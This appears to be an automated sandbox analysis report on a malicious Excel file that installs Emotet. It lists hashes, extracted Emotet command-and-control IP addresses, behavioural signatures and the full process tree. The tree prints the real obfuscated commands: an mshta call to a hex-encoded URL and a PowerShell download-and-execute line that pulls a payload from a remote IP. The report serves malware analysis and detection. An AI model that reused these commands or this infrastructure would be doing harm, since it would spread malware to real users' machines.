Analysis
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max time kernel
122s -
max time network
140s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
18-01-2022 13:08
Behavioral task
behavioral1
Sample
554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6.xls
Resource
win10-en-20211208
General
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Target
554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6.xls
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Size
128KB
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MD5
d0efc7a0b8673689b738de5d3d155e6d
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SHA1
66beb67d482a5de21d0a614abed203a4342158e8
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SHA256
554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6
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SHA512
26ae37022b3063230afe9ea64d459176f8256bd07152a04a25d7f729346a7a28c6a5ea3c313ef2ffdddc7a0e6bdb1dc686fabb25fad67e4b68a5b1fc6f99202a
Malware Config
Extracted
http://0xb907d607/cc.html
Extracted
http://185.7.214.7/PP91.PNG
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 900 1276 cmd.exe 68 -
Blocklisted process makes network request 5 IoCs
flow pid Process 38 2952 mshta.exe 39 1324 powershell.exe 41 1324 powershell.exe 45 1324 powershell.exe 52 1880 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 2568 rundll32.exe 1048 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Ojbfmbjvsjeas\zxyibfldmzye.eoe rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 2560 2952 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1276 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 1324 powershell.exe 1324 powershell.exe 1324 powershell.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 2560 WerFault.exe 1880 rundll32.exe 1880 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1324 powershell.exe Token: SeDebugPrivilege 2560 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE 1276 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1276 wrote to memory of 900 1276 EXCEL.EXE 72 PID 1276 wrote to memory of 900 1276 EXCEL.EXE 72 PID 900 wrote to memory of 2952 900 cmd.exe 74 PID 900 wrote to memory of 2952 900 cmd.exe 74 PID 2952 wrote to memory of 1324 2952 mshta.exe 76 PID 2952 wrote to memory of 1324 2952 mshta.exe 76 PID 1324 wrote to memory of 736 1324 powershell.exe 79 PID 1324 wrote to memory of 736 1324 powershell.exe 79 PID 736 wrote to memory of 2568 736 cmd.exe 80 PID 736 wrote to memory of 2568 736 cmd.exe 80 PID 736 wrote to memory of 2568 736 cmd.exe 80 PID 2568 wrote to memory of 1048 2568 rundll32.exe 81 PID 2568 wrote to memory of 1048 2568 rundll32.exe 81 PID 2568 wrote to memory of 1048 2568 rundll32.exe 81 PID 1048 wrote to memory of 2328 1048 rundll32.exe 82 PID 1048 wrote to memory of 2328 1048 rundll32.exe 82 PID 1048 wrote to memory of 2328 1048 rundll32.exe 82 PID 2328 wrote to memory of 1880 2328 rundll32.exe 83 PID 2328 wrote to memory of 1880 2328 rundll32.exe 83 PID 2328 wrote to memory of 1880 2328 rundll32.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:736 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ojbfmbjvsjeas\zxyibfldmzye.eoe",iOAgwEvt8⤵
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ojbfmbjvsjeas\zxyibfldmzye.eoe",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1880
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2952 -s 16444⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2560
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